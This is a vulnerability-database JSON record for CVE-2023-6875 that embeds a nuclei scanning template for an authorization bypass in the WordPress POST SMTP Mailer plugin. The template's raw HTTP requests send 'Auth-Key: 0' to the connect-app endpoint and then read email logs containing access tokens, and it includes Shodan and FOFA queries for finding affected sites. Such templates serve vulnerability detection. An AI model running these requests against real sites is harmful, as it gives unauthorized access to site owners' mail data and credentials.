{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2023-6875/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2023-6875/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2023-6875/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2023-6875/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2023-6875/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2023-6875"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2023-6875"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2023/CVE-2023-6875.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2023-6875\n\ninfo:\n  name: WordPress POST SMTP Mailer <= 2.8.7 - Authorization Bypass\n  author: iamnoooob,rootxharsh,pdresearch\n  severity: critical\n  description: |\n    The POST SMTP Mailer – Email log, Delivery Failure Notifications and Best Mail SMTP for WordPress plugin for WordPress is vulnerable to unauthorized access of data and modification of data due to a type juggling issue on the connect-app REST endpoint in all versions up to, and including, 2.8.7.\n  impact: |\n    Unauthenticated attackers can exploit type juggling vulnerabilities in the connect-app REST endpoint to access and modify sensitive email configuration data.\n  remediation: Fixed in 2.8.8\n  reference:\n    - https://plugins.trac.wordpress.org/browser/post-smtp/trunk/Postman/Mobile/includes/rest-api/v1/rest-api.php#L60\n    - https://plugins.trac.wordpress.org/changeset/3016051/post-smtp/trunk?contextall=1&old=3012318&old_path=%2Fpost-smtp%2Ftrunk\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/e675d64c-cbb8-4f24-9b6f-2597a97b49af?source=cve\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-6875\n    - https://github.com/UlyssesSaicha/CVE-2023-6875\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-6875\n    cwe-id: CWE-862\n    epss-score: 0.90339\n    epss-percentile: 0.99796\n    cpe: cpe:2.3:a:wpexperts:post_smtp_mailer:*:*:*:*:*:wordpress:*:*\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: wpexperts\n    product: post_smtp_mailer\n    framework: wordpress\n    shodan-query: http.html:/wp-content/plugins/post-smtp\n    fofa-query: body=/wp-content/plugins/post-smtp\n    publicwww-query: \"/wp-content/plugins/post-smtp\"\n  tags: cve,cve2023,wp,wp-plugin,wordpress,smtp,mailer,auth-bypass,wpexperts,vkev,vuln\nvariables:\n  fcm_token: \"{{randstr_1}}\"\n  device: \"{{randstr_2}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /wp-json/post-smtp/v1/connect-app HTTP/1.1\n        Host: {{Hostname}}\n        Auth-Key: 0\n        Device: {{device}}\n        Fcm-Token: {{fcm_token}}\n        Content-Type: application/x-www-form-urlencoded\n\n      - |\n        POST /wp-json/post-smtp/v1/connect-app HTTP/1.1\n        Host: {{Hostname}}\n        Auth-Key: 0\n        Device: {{device}}\n        Fcm-Token: {{fcm_token}}\n        Content-Type: application/x-www-form-urlencoded\n\n      - |\n        GET /wp-json/post-smtp/v1/get-log HTTP/1.1\n        Host: {{Hostname}}\n        Auth-Key: 0\n        Device: {{device}}\n        Fcm-Token: {{fcm_token}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body_2, \"success\\\":true,\", \"{\\\"fcm_token\\\":\\\"{{fcm_token}}\")'\n          - 'contains_all(body_3, \"true,\\\"data\\\":\", \"access_token=\")'\n        condition: and\n# digest: 490a0046304402205ed3bc47af0c91c7504d219b2e4a562be8b605f62359bc582b116fb22e1f332102206376fdcad2a119002a32ce8d996c8529d962cd39ff21065975711f1172240c65:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2023-6875"
}